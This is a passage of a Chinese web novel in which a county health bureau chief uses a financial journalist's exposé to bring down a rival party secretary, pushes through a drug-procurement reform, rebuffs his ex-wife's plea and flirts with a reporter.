“我这是在运筹帷幄。”叶凡靠在椅背上,嘴角不自觉地弯起,“再说,没有你这个‘金牌制片人’在前面冲锋陷阵,我这个导演也导不出这么精彩的戏。”
“哼,油嘴滑舌。”苏沐秋轻哼一声,但语气里的笑意更浓了,“说真的,张海涛现在肯定气疯了。你就不怕他狗急跳墙?”
“我怕他不跳。”叶凡看着窗外,眼神平静而深远,“他跳得越高,摔下来的时候,才会越疼。”
电话那头沉默了几秒。
“叶凡,”苏沐秋的声音,忽然变得有些认真,“我今天采访了一个养殖户,一个五十多岁的大叔。他说,他全部身家都投在那个养鸡场里了,要是饲料断供,他一家老小就只能去要饭了。他拉着我的手,问我政府会不会管他们。那一刻,我忽然觉得,我们做的这些事,好像不只是为了斗倒谁。”
叶凡心头微微一动。
“我们当然不只是为了斗倒谁。”他轻声说,“我们是为了让那些拉着你手的大叔,以后再也不用因为这种事而害怕。”
电话那头,又是一阵长久的沉默。
“那顿饭,你还欠着。”许久,苏沐秋才开口,声音里带着一丝她自己都未察觉的柔软。
“记着呢。”叶凡笑了,“等这阵风过去,我给你做海鲜大餐。”
“好,这可是你说的。”苏沐秋的声音,恢复了平日的轻快,“对了,我约了《江城财经》的首席记者,他叫吴越,对你那个‘产业链风险’的选题非常感兴趣。他明天到青川,想跟你当面聊聊。”
叶凡的眼睛瞬间亮了。
他知道,压垮骆驼的最后一根稻草,来了。
第148章 东风已至,图穷匕见!
县委书记办公室里,名贵的红木烟灰缸里,已经塞满了烟头。
张海涛双眼布满血丝,死死盯着办公桌上的两部电话。
从早上八点开始,这两部电话就成了催命符,轮番轰炸。
先是市农业局的领导“关心”地问起青川县的肉蛋奶供应问题,说是有市场信息反馈,青川可能会影响到江城市区的物价稳定。
接着,市优化营商环境办公室也打来电话,不咸不淡地询问,是否听闻青川县有“以环保安全为名,行打击报复之实”的个案发生,提醒他市委高书记对营商环境问题高度重视。
每一个电话,都像是一记无形的耳光,抽得他脸颊火辣辣地疼。
他知道,这是李建国和叶凡的反击。
他更知道,自己被一张无形的大网给罩住了。
他想发火,想骂娘,想把那个装病的李建国从家里揪出来,可他什么都不能做。
现在,他就像一个被困在玻璃房里的人,外面所有人都看着他,指指点点,而他只要稍有异动,就会撞得头破血流。
“书记,凤鸣镇那边的舆情……还在发酵。”办公室主任小心翼翼地推门进来,声音低得像蚊子叫。
张海涛猛地抬起头,眼神凶狠得像要吃人:“李建国那个老狐狸,还在装病?”
“是……秘书说,李县长高烧不退,已经送去市里医院了。”
“放屁!”张海涛一拳砸在桌上,震得茶杯嗡嗡作响。
他瘫坐在椅子上,第一次感觉到了深深的无力。
他以为自己是棋手,却发现自己早已成了别人棋盘上的困兽。
……
与县委大楼的压抑不同,青川县城南的一家茶馆里,却是暗流涌动。
苏沐秋约的地方很雅致,隔断式的包厢,流水潺潺,古筝声声。
叶凡到的时候,苏沐秋已经在了,她身边还坐着一个男人。
男人约莫三十七八岁,戴着一副金丝眼镜,穿着剪裁得体的深灰色休闲西装,手腕上露出一截百达翡丽的表带。
他身上没有半点记者的风霜气,反倒更像个投行精英。
“叶局长,我来介绍。”苏沐秋站起身,“这位是《江城财经》的首席记者,吴越。吴哥,这位就是我跟你提过的,我们青川县的传奇人物,叶凡叶局长。”
“吴记者,久仰。”叶凡伸出手。
吴越站起身,和他握了握,镜片后的目光锐利而直接,带着一种审视的意味。“叶局长太客气了。叫我吴越就行。”
三人落座,服务员送上茶水。
吴越端起茶杯,轻轻吹了吹浮沫,却不喝,开门见山地说道:“叶局长,沐秋的面子我不能不给。但时间宝贵,我就直说了。你们县里这点鸡毛蒜皮的派系斗争,我们《江城财经》没什么兴趣。”
他把茶杯放下,身体微微前倾,目光如炬:“你想要我帮你写篇文章,扳倒你的政敌,对吗?”
话音一落,包厢里的空气瞬间凝固。
苏沐秋的脸色微微一变,刚想开口打个圆场,却被叶凡用眼神制止了。
叶凡笑了,笑得云淡风轻。
“吴记者快人快语,我喜欢。”他没有丝毫的尴尬,反而主动拿起茶壶,给吴越续上茶水,“不过,你可能误会了。我今天请你来,不是想让你当枪使,而是想给你提供一个独家的新闻视角。”
“哦?”吴越眉毛一挑,一副洗耳恭听的模样,但眼神里的怀疑和轻蔑,却丝毫未减。
叶凡没有急着辩解,而是从随身的公文包里,拿出了一份文件,推到吴越面前。
“这是我们青山镇卫生院改革前后的财务对比报表。”
吴越皱了皱眉,显然对一个乡镇卫生院的账本不感兴趣。
叶凡继续说:“改革前,卫生院年亏损三十万。改革后,推行药品统一采购,药价平均下降百分之五十,卫生院不仅扭亏为盈,第一个季度就盈利了二十万。这二十万,我们没有上缴,而是成立了‘青山镇健康发展基金’。”
吴越的眼神动了一下。
“这个基金,一部分用于给医生发奖金,提高积极性。另一部分,则用来反哺镇里的公共卫生事业。”叶凡的手指,在报表上轻轻一点,“比如,我们用这笔钱,给镇上所有养殖场的排污系统,做了免费的环保升级。”
苏沐秋适时地补充了一句:“凤鸣镇的秦镇长,就是看中了这一点,才第一个报名试点的。她想复制这个模式,用节省下来的医疗开支,去解决困扰她们镇多年的养殖污染问题。”
吴越的目光终于从不屑转为了若有所思。
他拿起了那份报表。
叶凡看着他,声音不大,却字字千钧:“吴记者,你看到了什么?作为青山县的卫生局局长,我看到的不是一个乡镇的医疗改革,而是一个全新的‘乡村经济内循环’模型。我们通过医疗体制改革,撬动了财政杠杆,将原本消耗性的医疗支出,转化为了可以推动地方产业升级的‘活性资本’。它能解决环保问题,能带动相关产业,能真正让一个乡镇,形成自我造血的能力。”
吴越的呼吸微微停滞了一下。
他猛地抬起头,镜片后的眼睛里,闪烁着一种发现新大陆般的光芒。
“但是,”叶凡话锋一转,语气沉了下来,“现在,这个刚刚萌芽的模型,被人一脚踩碎了。”
他没有提张海涛的名字,甚至没有提“联合执法”这几个字。
“一个非市场的、纯粹的行政命令,一夜之间,就让凤鸣镇这个模型的‘发动机’——养殖产业,全面停摆。吴记者,我今天请你来,不是让你来报道谁对谁错的官司。我是想请你这位财经专家,来评估一下。”
叶凡看着吴越的眼睛,一字一顿:
“当一个地区的‘营商环境’脆弱到,一个官员的个人意志,可以随意凌驾于市场规律之上,并瞬间斩断一条区域性的产业链时,它所暴露出的‘系统性风险’,有多大?”
“这个风险,今天发生在青川县的一个养殖场,明天,会不会就发生在江城市某个重点项目的工地上?”
“这,是不是一篇值得你们《江城财经》,深度剖析的封面文章?”
包厢里,死一般的寂静。
只有窗外的古筝声,还在不疾不徐地响着。
吴越一动不动地看着叶凡,足足过了半分钟,他才长长地吐出一口气。他摘下眼镜,用绒布仔细地擦了擦,重新戴上。
这个动作完成后,他整个人的气场都变了。
“叶局长,”他再次开口,称呼没变,但语气里已经带上了由衷的敬佩,“我收回我刚才的话。你给我提供的不是新闻,是一个金矿。”
他拿起自己的公文包,从里面拿出一个笔记本和一支录音笔,郑重地放在桌上。
“现在,请你详细地跟我讲讲,你这个‘乡村经济内循环’模型的每一个细节。以及,它在遭遇‘系统性风险压力测试’后,暴露出的所有问题。”
苏沐秋看着眼前这一幕,心中波澜起伏。
她看着身边这个男人,他明明是在设局,是在借刀杀人,可他说出的每一个字,却又都站在了经济规律和发展大局的高度。
他把一场你死我活的政治斗争,变成了一场冷静客观的学术探讨。
杀人于无形,诛心于庙堂。
这个男人,实在是太可怕了,也……太有魅力了。
……
送走打了鸡血一样,恨不得当场写稿的吴越,茶馆包厢里,只剩下了叶凡和苏沐秋两人。
“你连张海涛的名字都没提,就把刀递到了吴越手上。”苏沐秋看着叶凡,美眸里异彩连连,“而且,还让他心甘情愿地帮你磨得锋利无比。”
“专业的人,做专业的事。”叶凡端起已经凉了的茶,喝了一口,“吴记者需要一篇能上头版的深度报道,我只是给了他一个足够好的选题。”
“你这哪是给选题,你这是在给他指点江山。”苏沐秋噗嗤一声笑了,眉眼弯弯,像月牙儿一样,“我发现你这人真是坏透了。”
这句“坏透了”,听起来却更像是撒娇。
叶凡也笑了:“怎么,苏大记者这是在替张书记打抱不平?”
“我才懒得管他。”苏沐秋轻哼一声,端起茶杯,看着杯中沉浮的茶叶,“我只是在想,等吴越的报道一出来,张海涛恐怕连怎么死的都不知道。”
她抬起头,看着叶凡,眼神里带着几分狡黠:“这仗要是打赢了,你那顿海鲜大餐,可不能再赖账了。”
“当然。”叶凡点头。
“光有海鲜可不够。”苏沐秋的脸颊,在茶馆温暖的灯光下,泛起一丝微不可查的红晕,“这次,我自带一瓶好酒。庆祝我们……旗开得胜。”
她说完,像是怕叶凡看出什么,便端起茶杯,自顾自地喝了起来,耳根却悄悄地红了。
叶凡看着她,心里某个地方,像是被轻轻地拨动了一下。
他知道,吴越这把刀,已经出鞘了。
而青川县的天,马上就要彻底变了。
第149章 财经利刃,一字千金!
周一的清晨,阳光透过百叶窗,在卫生局局长办公室的地板上投下斑驳的光影。
青川县的舆论风波,在经历了一个周末的发酵后,非但没有平息,反而愈演愈烈。
猪肉价格的持续上涨和官方的沉默,像两块巨石压在每个市民的心头,县政府门口甚至出现了三三两两自发聚集的养殖户。
然而,这一切的喧嚣似乎都与叶凡无关。
他正气定神闲地审阅着凤鸣镇和另外两个试点乡镇递交上来的“青山模式”实施细则,时不时用红笔在上面做着批注,专注得像是在进行一台精密的显微手术。
手机在桌上轻轻震动了一下。
是苏沐秋发来的一条信息,没有多余的文字,只有一个链接,和简短的三个字。
“出鞘了。”
叶凡微微一笑。
他点开链接,手机屏幕上立刻跳出了《江城财经》最新一期电子版的封面文章。
标题如同一柄淬了寒冰的利刃,直插心脏。
《“政令”下的产业链休克——青川样本的系统性风险警示》
文章没有提及张海涛的名字,甚至对那场“联合执法”的描述都用词克制客观。
但通篇都用一种冰冷、严谨、不带丝毫感情的笔触,将凤鸣镇的遭遇上升到了一个令所有主政官员都毛骨悚然的高度。
文章剖析了凤鸣镇的养殖产业是如何在一夜之间被行政命令掐断命脉,进而引发全县范围内的市场波动和民生恐慌。
它没有指责谁对谁错,却用翔实的数据和专业的模型,推演出一个可怕的结论:当一个地区的营商环境脆弱到,官员的个人意志可以随意凌驾于市场规律之上时,这里对任何资本来说,都无异于一片流沙之地。
文章的最后,吴越用了一句点睛之笔:“我们关注的并非青川一地之得失,而是这种‘权力任性’所暴露出的制度性漏洞。今日的青川,若不警醒,焉知不是明日的江城?”
这已经不是一篇新闻报道了。
这是一份递交到省市最高决策层案头的,关于地方治理能力失败的学术级“判决书”。
它杀的不是张海涛这个人。
它诛的是张海涛整个政治前途的“心”。
……
县委书记办公室里,气氛压抑得仿佛能拧出水来。
张海涛死死攥着那本还散发着油墨香的《江城财经》杂志,指节因为用力而捏得发白。
他引以为傲的“雷霆手段”,在这篇文章冷静的剖析下,显得如此愚蠢、粗暴,像个只会挥舞大棒的野蛮人。
“叮铃铃!”
电话铃声尖锐地响起,像一声催命的符咒。
他看着来电显示上那个熟悉的名字——市委组织部的周部长,一个他平日里需要仰望和巴结的人物。
他深吸一口气,颤抖着手按下了接听键。
“喂,周……周部长……”
“海涛同志,”电话那头的声音,听不出喜怒,却带着一种不容置疑的威严,“高书记让你马上到市委来一趟,你的工作可能会有新的安排。”
“新的安排……”
张海涛脑子里“嗡”的一声,整个人如遭雷击。
他混迹官场半生,哪里听不出这句官话背后的含义。
这不是提拔,也不是平调,这是……发配。
他张了张嘴,还想申辩什么,还想解释自己是为了整顿县里的风气,是为了维护县委的权威。
“嘟……嘟……嘟……”
电话那头,已经挂断了。
张海涛无力地垂下手,电话从掌心滑落,摔在地毯上,悄无声息。
他瘫坐在大班椅上,双目失神地望着窗外。
阳光正好,可他却觉得浑身冰冷,如坠冰窟。
他输了。
输得莫名其妙,输得体无完肤。
他甚至到这一刻才隐约明白,从他决定对凤鸣镇动手的那一刻起,自己就掉进了一个由叶凡精心编织的陷阱里。
那个看似温和无害的医生根本不是李建国手里的刀,他才是那个站在迷雾背后,冷眼旁观的棋手。
……
与县委大楼的死寂形成鲜明对比的,是县长李建国家里传出的爽朗笑声。
这位“高烧不退、正在市里住院”的县长此刻正穿着大裤衩,趿拉着拖鞋,精神抖擞地在客厅里来回踱步,手里拿着手机,笑得见牙不见眼。
“小叶啊,看到了吧!吴越这把刀比纪委的笔杆子还锋利!一字千金,一字千金啊!”
电话那头,叶凡的声音依旧平静:“李县长,您的病,可以好了。”
“哈哈哈!好,是时候好了!”李建国笑得愈发畅快,“市委高书记刚刚亲自给我打了电话,对我‘带病坚持工作、心系全县民生’的精神,给予了高度肯定!”
李建国故意加重了“带病坚持工作”几个字,脸上的得意毫不掩饰。
“高书记还说,鉴于张海涛同志在处理突发事件中,存在‘思路不清、方法简单、作风粗暴’等问题,市委决定调他去市档案馆担任馆长。在新的县委书记到任前,由我,全面主持青川县的工作!”
这个结果,比叶凡预想的还要好。
档案馆馆长,那是个彻头彻尾的养老闲职,张海涛的政治生命已经画上了句号。
“李县长,恭喜。”叶凡由衷地说道。
“同喜,同喜!”李建国心情大好,“你小子,这次是头功!你那个‘医疗系统统一采购与招标监督小组’的方案,我看,明天就可以在县长办公会上,全票通过了!”
挂了电话,李建国兀自兴奋了半天,回头看见自己爱人正一脸好笑地看着他。
“瞧你那点出息。”
“你懂什么!”李建国一拍大腿,“我这辈子做的最对的一件事就是把叶凡那小子从青山镇给捞了上来!这小子,是我的福将啊!”
……
傍晚,叶凡的单身公寓里,久违地充满了烟火气。
蒜蓉开背虾的浓香和着黄油煎扇贝的奶香,在小小的空间里交织,光是闻着就让人食指大动。
“铃铃!”
门铃响起。
叶凡擦了擦手,打开门,苏沐秋俏生生地站在门外。
她今天显然是精心打扮过。
一件淡紫色的修身连衣裙,勾勒出曼妙的身材,长发随意地挽起,露出白皙修长的脖颈。
脸上化了淡妆,平日里那双锐利的眸子,此刻在楼道的灯光下,显得水汪汪的,像盛满了星光。
她的手里还提着一个精致的礼品袋,里面是一瓶看起来就价格不菲的红酒。
“我说了自带酒水,没食言吧?”苏沐秋扬了扬手里的酒,笑意盈盈地走进门,一双美目立刻被满桌的海鲜大餐给吸引了,“哇,叶凡,你是把青山县的海鲜市场给搬空了吗?这……这也太夸张了吧?”
“说好了是海鲜大餐,总不能用皮皮虾把你打发了。”叶凡笑着从鞋柜里拿出那双粉色的女士拖鞋,自然地放在她脚边。
苏沐秋的脸颊微微一热,低头换鞋的动作,掩饰了眼底一闪而过的一丝羞赧。
餐桌上,两人相对而坐。
橘色的灯光,醇厚的酒香,让气氛变得有些微妙和暧昧。
苏沐秋用叉子叉起一只金黄的扇贝,尝了一口,眼睛瞬间亮了:“好吃!叶凡,我严重怀疑,你是不是背着我们所有人,偷偷去新东方进修过?”
“你要是喜欢,以后厨房的使用权,可以分你一半。”叶凡给她倒上红酒,话说得自然而然。
苏沐秋的心像被羽毛轻轻挠了一下,痒痒的。
她端起酒杯,和他轻轻一碰,岔开话题:“叶大局长,你现在可是青川县的传奇人物了。不费一兵一卒,就让县委书记缴械投降。以后,谁还敢惹你?”
“我哪有那么厉害。”叶凡一边说,一边熟练地剥开一只基围虾,很自然地放进她面前的盘子里,“我就是个医生,碰巧知道病灶在哪儿,也碰巧认识一个愿意递手术刀给我的王牌记者而已。”
他的目光穿过蒸腾的热气,落在她的脸上,带着几分认真的笑意。
苏沐秋的心跳漏了一拍,她低下头,借着吃虾的动作掩饰自己的失态,嘴里却不饶人:“哼,油嘴滑舌。照你这么说,我这把‘刀’岂不是成了你的专属凶器?”
“怎么会是凶器?”叶凡摇了摇头,看着她明艳动人的脸庞,轻声说,“是手术刀。救死扶伤的刀。”
这话,一语双关。
苏沐秋的脸更红了,她仰头喝了一大口红酒,像是要用酒精来压下心头的燥热。
酒意上涌,胆子也大了几分。
她放下酒杯,那双水光潋滟的眸子直直地看着叶凡,带着几分醉意和几分挑衅:“那……以后叶医生要是还发现什么需要切除的‘毒瘤’,我这把‘刀’,随时待命。不过,使用费可不便宜。”
“哦?”叶凡饶有兴致地看着她,“苏大记者想要什么使用费?”
“嗯……”苏沐秋歪着头,故作认真地想了想,然后伸出一根纤长的手指,轻轻地点了点桌上那盘还冒着热气的蒜蓉开背虾,“先欠着。等我想好了,再连本带利地跟你讨回来。”
叶凡笑了,是那种发自内心的,轻松而愉悦的笑。
他拿起红酒瓶,倾身过去,准备给苏沐秋续上。
空间瞬间被拉近,他身上清爽的沐浴露味道,混着她发间的淡淡馨香,在空气中酿成一种更醉人的气息。
就在他倒酒的时候,她的手也正好伸过来,想去拿纸巾。
两人的指尖在空中不期而遇。
仿佛有一道微弱的电流,瞬间从指尖窜遍全身。
两人都像被烫到一样,同时缩回了手。
空气在这一刻仿佛凝固了。
彼此都能听到对方有些急促的心跳声。
“那个……这酒,后劲挺大。”最终,还是叶凡先开了口,他举起自己的酒杯,掩饰性地喝了一口,目光却依旧锁着她。
苏沐秋的脸已经红得像熟透的苹果,她不敢再看他,只是低着头,小声地“嗯”了一声。
窗外,夜色渐浓。
屋内的灯光却愈发温暖。
第150章 春风得意,暗流潜行!
暧昧的余温,比红酒的后劲更绵长。
第二天清晨,叶凡站在洗漱台前,看着镜子里的自己,脑海中闪过的不是青川县的权力棋局,而是昨晚苏沐秋在灯下泛红的耳根,以及指尖不经意相触时,那瞬间的惊心动魄。
他甩了甩头,将这丝旖旎压在心底。
今天,还有一场硬仗要打,或者说是去接收胜利的果实。
县政府常务会议室。
气氛与往日截然不同。
曾经属于张海涛的主位空着,像一个无声的宣告。
县长李建国坐在旁边,红光满面,腰杆挺得笔直,仿佛一夜之间年轻了十岁。
参会的各局长、副县长们,一个个正襟危坐,噤若寒蝉。
尤其是几个往日里唯张海涛马首是瞻的干部,此刻眼观鼻,鼻观心,恨不得把自己缩进椅子里。
“同志们,今天开个短会。”李建国清了清嗓子,声音洪亮,在安静的会议室里回响,“主要议题就是上次常委会上,被暂时搁置的关于成立‘全县医疗系统统一采购与招标监督小组’的方案。”
他话音一落,目光不急不缓地扫过全场。
所有人都屏住了呼吸。
这就是新任“一把手”的下马威。
他要拿上次张海涛否决的议案,来祭旗。
“关于这个方案的重要性,我想不用我再多说了。”李建国端起茶杯,吹了吹热气,“前段时间,凤鸣镇的事件以及由此引发的全县肉蛋价格波动,给我们所有人都上了一课。民生无小事,稳定大于天。而医疗,是民生最重要的一环。叶凡同志提出的这个方案,我看就是抓住了牛鼻子,是解决我们县医疗领域沉疴顽疾的一剂良药。”
他看向叶凡,目光中满是赞许:“叶凡同志,你再把方案的核心,给同志们简单介绍一下。”
叶凡站起身,没有半分怯场,将“青山模式”的核心理念与统一采购的必要性,条理清晰地阐述了一遍。
他说完,坐下。
会议室里一片死寂。
李建国的目光再次扫视全场,最后落在了主管文教卫生的副县长脸上。
那位副县长一个激灵,立刻挺直了腰板,用一种前所未有的热情语气说道:“我完全同意!坚决拥护!李县长的指示高屋建瓴,叶凡同志的方案切中要害!我们卫生口早就盼着有这样的改革了!这是功在当代,利在千秋的大好事啊!”
这番慷慨陈词,让在场不少人差点把隔夜饭给笑喷出来。
谁不知道,上次常委会上就是他跟着张海涛,对这个方案提出最多质疑。
“好。”李建国满意地点点头,又看向其他人,“其他同志,还有没有不同意见?”
“没有!”
“坚决支持!”
“我们农业局全力配合!”
一时间,表态声此起彼伏,热情洋溢,仿佛这是一场他们盼望已久的盛事。
叶凡冷眼旁观,心中毫无波澜。
这就是官场,人未走,茶已凉。
“既然大家都没有意见,那这件事就这么定了。”李建国一锤定音,“监督小组即日成立,由我亲自担任名誉组长。常务副组长,就由叶凡同志担任,具体工作,由他全权负责。各部门必须无条件配合,谁要是敢在这件事上打折扣、使绊子,休怪我李建国不讲情面!”
最后几句话,掷地有声,带着一股肃杀之气。
就在众人纷纷鼓掌附和之际,一个略显沉稳的声音响了起来。
“李县长,叶局长,方案是好方案,决心也很大。”说话的是常务副县长高明远,一个年近六旬,头发梳得一丝不苟的老干部。
他扶了扶眼镜,慢悠悠地说道:“我只补充一点。改革嘛,牵一发而动全身。尤其是药品采购这块,水很深,涉及的利益方方面面。叶局长年轻有为,有冲劲是好事,但具体操作起来,还是要稳妥,要循序渐进,千万不能为了追求速度,影响了我们县医疗系统的稳定大局啊。”
这话听起来滴水不漏,句句在理,充满了老前辈对后辈的关爱。
可叶凡却听出了弦外之音。
“稳妥”、“循序渐进”,翻译过来就是“别动我的蛋糕”。
“影响稳定大局”,翻译过来就是“你要是敢乱来,出了事你兜着”。
李建国脸上的笑容淡了几分,看了一眼高明远,又看了一眼叶凡,没有说话。
叶凡站起身,对着高明远微微欠身,不卑不亢地笑道:“感谢高县长的提醒。您放心,我以前是拿手术刀的,最懂得‘稳’字的重要性。我们要做的是肿瘤切除手术,不是开膛破肚。每一步都会在精准的评估下进行,既要切除病灶,也要保全肌体。我们的目标不是制造混乱,而是建立一个更健康、更透明、更惠及于民的新秩序。”
这番话说得漂亮至极,既回应了高明远的“关切”,又暗中把对方摆在了“病灶”和“旧秩序”的对立面。
高明远脸上的笑容僵了一下,随即又恢复如常,点点头:“好,有叶局长这句话,我就放心了。”
会议结束,李建国和叶凡并肩走出会议室。
“看到了吗?”李建国低声笑道,“这就叫顺风顺水。”
随即,他话锋一转:“不过,老高的话,你也要放在心上。他在青川县经营了快二十年,主管城建和财政,县里大大小小的老板,一半以上都得看他脸色。你这个统一采购,等于是在他碗里抢食,他不会善罢甘休的。”
“我明白。”叶凡点点头。
“明白就好。”李建国拍了拍他的肩膀,“放手去干,天塌下来,有我给你顶着。你的办公室,我已经让人安排好了,就在我办公室的斜对面,以后有事,随时过来。”
这是一种毫无保留的信任和支持。
回到卫生局,叶凡的手机震了一下,是苏沐秋发来的微信。
一张偷拍的照片,是县政府官网刚刚发布的会议新闻,叶凡发言的侧脸被清晰地抓拍了下来。
照片下面配了一行字:“恭喜叶大局长,正式执掌青川县‘药匣子’。作为你的‘御用杀器’,我是不是该论功行赏了?”
字里行间,满是调侃和亲昵。
叶凡的嘴角不自觉地扬了起来。
他能想象到苏沐秋此刻巧笑嫣然的模样。
他靠在椅子上,手指在屏幕上飞快地敲击着:“赏赐先记账,利息是每打赢一场仗,加一顿我亲手做的饭。”
信息发出去不到十秒,回复就来了。
“成交!不过你要是输了,罚你给我洗一个月车,手洗,不许用洗车机!”后面还跟了一个得意洋洋的鬼脸表情。
叶凡失笑摇头,这丫头。
与苏沐秋的轻松调侃,冲淡了高明远带来的那点阴霾。
他收起手机,心情前所未有的畅快。
监督小组的办公室,果然如李建国所说,安排在了县政府大楼的核心位置。
宽敞明亮,窗外就是县政府的中心花园。
叶凡站在窗前,俯瞰着楼下。
他知道,从今天起,他才算真正在青川县这片土地上,拥有了属于自己的一方天地,可以开始描绘他心中的蓝图。
一直忙到华灯初上,他才将“青山模式”在全县推广的初步方案整理完毕。
揉了揉有些酸胀的脖子,他起身准备下班。
就在这时,他放在办公桌上的私人手机,突然响了起来。
是一个陌生的号码,归属地显示是江城市。
叶凡皱了皱眉,这个时间,会是谁?
他按下接听键,将手机放到耳边。
“喂,你好。”
电话那头,是一阵短暂的沉默,只能听到一阵略显压抑的呼吸声。
就在叶凡以为是骚扰电话,准备挂断的时候,一个他熟悉到骨子里,却又感觉无比遥远的声音,迟疑地响了起来。
“叶凡……是我。”
声音里带着一丝不易察觉的颤抖和万分复杂的迟疑。
“柳如烟。”
第151章 电话两端,已是天渊!
“柳如烟。”
叶凡平静地叫出这个名字,声音里听不出一丝波澜,仿佛在说一个毫不相干的路人。
这三个字,像一道惊雷,劈开了电话那头的沉默。
柳如烟的呼吸猛地一滞,随即变得更加急促,带着压抑不住的哭腔。
“叶凡……你……你还好吗?”
她的声音再没有了往日的骄傲和清冷,只剩下小心翼翼的试探和卑微的颤抖。
叶凡靠在办公椅上,转过身,看着窗外县政府大院里葱郁的树木,语气淡漠:“我很好。柳小姐,有事吗?”
一声“柳小姐”,像一根无形的针,狠狠刺痛了柳如烟。
她沉默了片刻,似乎是在鼓足勇气。
“我……我知道我没资格给你打电话。叶凡,当初的事,是我对不起你,是我们柳家对不起你……”
“都过去了。”叶凡打断了她,“如果你打电话来,只是为了说这个,那就不必了。”
“不是的!”柳如烟的声音尖锐了一瞬,又迅速软了下去,带着哀求,“是……是我哥,柳志鹏。他在里面……被人打断了腿,过得很不好。还有我爸,他一夜之间白了头……叶凡,我知道你现在……你现在是领导了,你认识人多。你能不能……能不能帮我打个招呼,让他们在里面……别那么欺负人?”
叶凡冷笑了一声。
真是天道好轮回。
曾几何时,柳家父子视他为蝼蚁,随意践踏。
如今,他们的女儿却要来求这只蝼蚁,去庇护他们。
“柳小姐,你可能搞错了。”叶凡的声音冷了下来,“第一,他们触犯的是国法,该怎么判,该怎么服刑,是司法机关的事,不是我一个卫生局的干部能插手的。第二,他们是罪有应得。”
“我知道!我知道他们罪有应得!”柳如烟的声音里充满了绝望,“我不是求你帮他们脱罪,我只是……只是想让他们活下去……叶凡,我求求你,看在我们夫妻一场的份上……”
“夫妻一场?”叶凡轻轻笑了一声,笑声里带着彻骨的寒意,“柳小姐,当初在离婚协议书上签字,把我像垃圾一样扫地出门的时候,你怎么不提‘夫妻一场’?当初你父亲指着我的鼻子,骂我‘烂泥扶不上墙’的时候,你怎么不提‘夫妻一场’?当初你哥拿着P出来的照片,毁我名誉,断我前程的时候,你怎么不提‘夫妻一场’?”
他的声音不大,却字字如刀,割得电话那头的柳如烟泣不成声。
“我错了……叶凡,我真的知道错了……那时候我是被猪油蒙了心,我……”
“你不必道歉。”叶凡站起身,走到巨大的落地窗前,俯瞰着脚下这座他即将改变的县城,“因为,我已经不在乎了。你和你家人的所作所为,对我而言,唯一的价值,就是让我看清了一些事,然后走到了今天。”
他顿了顿,语气恢复了最初的平静,却也带着最终的审判。
“你我之间,早就两清了。你父亲欠我的,他用他的官帽和前途还了。你哥哥欠我的,他用他的自由和双腿还了。你们柳家欠我的,已经全部还清。所以,我没有理由帮你,更没有义务帮你。”
“我们,两不相欠。”
说完,叶凡没有再给对方任何说话的机会,干脆利落地挂断了电话。
世界,瞬间清静了。
他静静地站在窗前,看着远方。
心里没有报复的快感,也没有丝毫的怜悯,只有一种尘埃落定的空旷。
那个曾经让他痛苦、让他屈辱、让他奋起的执念,在刚才那通电话里,彻底烟消云散。
他终于可以把那个叫柳如烟的女人,连同她背后那个骄横的家族,从自己的生命里,彻底删除了。
……
县长办公室里,李建国正拿着一份文件,看得津津有味。
“高县长,你怎么看叶凡同志这个‘开门接诊’的想法?”李建国把文件递给坐在对面的高明远,脸上挂着意味深长的笑容。
这是叶凡刚刚提交上来的,关于监督小组下一步工作的方案。
核心就四个字——开门接诊。
方案提出,监督小组要设立专门的举报热线和邮箱,面向全县所有医务人员和普通市民公开征集关于药品采购、医疗器械招标、基建工程中的所有违规线索。
并且,所有线索一经查实,将对举报人进行重奖。
高明远扶了扶眼镜,慢条斯理地看完了方案,眼皮都没抬一下:“想法是好的,年轻人有魄力。不过,李县长,这么搞,会不会动静太大了?到时候各种捕风捉影的举报信雪片一样飞过来,我们监督小组是查还是不查?查,耗费大量行政资源;不查,又落个‘不作为’的口实。我担心,这会影响我们干部队伍的稳定啊。”
又来了,又是这套“稳定”说辞。
李建国心里冷笑,面上却不动声色:“老高啊,你说的有道理。不过,我觉得叶凡这小子有一句话说得对。他说,治病嘛,就不能怕疼。刮骨疗毒,疼是暂时的,但病根除了,身体才能健康。我们青川的医疗系统,病了太久了,再不来一剂猛药,就要烂透了。”
他把文件拿回来,在上面重重地签下自己的名字。
“我同意了。不仅要搞,还要大张旗鼓地搞!宣传部、电视台,都要跟上!我要让全县人民都知道,县委县政府这次是动真格的了!谁敢伸手,就剁谁的手!”
高明远端起茶杯,喝了一口,镜片后的眼神晦暗不明。
“既然李县长你拍了板,我当然是支持的。”
他放下茶杯,站起身:“那我先去忙了。城南那个新区的项目,还有一堆事等着。”
看着高明远不紧不慢离去的背影,李建国脸上的笑容渐渐收敛。
他拿起电话,拨通了叶凡的内线。
“小叶,鱼饵我已经帮你撒下去了,就看鱼儿上不上钩了。”
“谢谢县长。”叶凡的声音很沉稳,“鱼钩也已经磨好了。”
“好!”李建国大笑,“不过你小子也别太大意。高明远这条鱼,在青川这片水塘里游了二十年,滑得很。他刚才走的时候,还特意提了一句城南新区的项目。”
叶凡心中一动:“城南新区?”
“对,那是我们县未来几年的重点工程,投资几十个亿。高明远是总指挥。你这个统一采购,动了药品商的蛋糕,而县里最大的几个药品和医疗器械供应商,背后都有城建领域那些老板的影子。你猜猜,那些老板,平时都围着谁转?”
李建国的话已经点得不能再透了。
叶凡瞬间明白了。
高明远这是在敲打他——你敢在医疗口动我的人,我就敢在城建口给你使绊子。
青川县的发展大局,你担待得起吗?
“县长,我明白了。”
“明白就好。放手去干,记住,你是医生,你的手术台,现在是整个青川县!”
挂了电话,叶凡的斗志反而被彻底点燃。
高明远这种老狐狸比张海涛那种莽夫,更让他觉得有挑战性。
他正思索着对策,手机微信响了。
是苏沐秋。
“叶大局长,恭喜高升!办公室视野不错吧?有没有一种指点江山的感觉?”
后面还附了一张偷拍的照片,正是他站在办公室窗前的背影,显得挺拔而孤单。
叶凡笑了笑,刚才被柳如烟和高明远搅乱的心绪,莫名地平复了下来。
他回复道:“江山谈不上,顶多算个沙盘。刚送走了一位‘老前辈’,又接了个来自过去的骚扰电话,感觉更像是在排雷。”
信息刚发出去,苏沐秋的电话就直接打了过来。
“谁骚扰你?柳如烟?”她的声音带着一丝不易察觉的紧张。
“苏记者消息很灵通嘛。”叶凡调侃道。
“废话!她爸和她哥倒台后,她一个娇生惯养的大小姐,从电视台辞职,众叛亲离,现在过得惨兮兮的。她不找你这个‘飞上枝头’的前夫,还能找谁?”苏沐秋的语气里带着几分不屑,又带着几分幸灾乐祸,“她求你办事了?”
“嗯。”
“你答应了?”
“你觉得呢?”
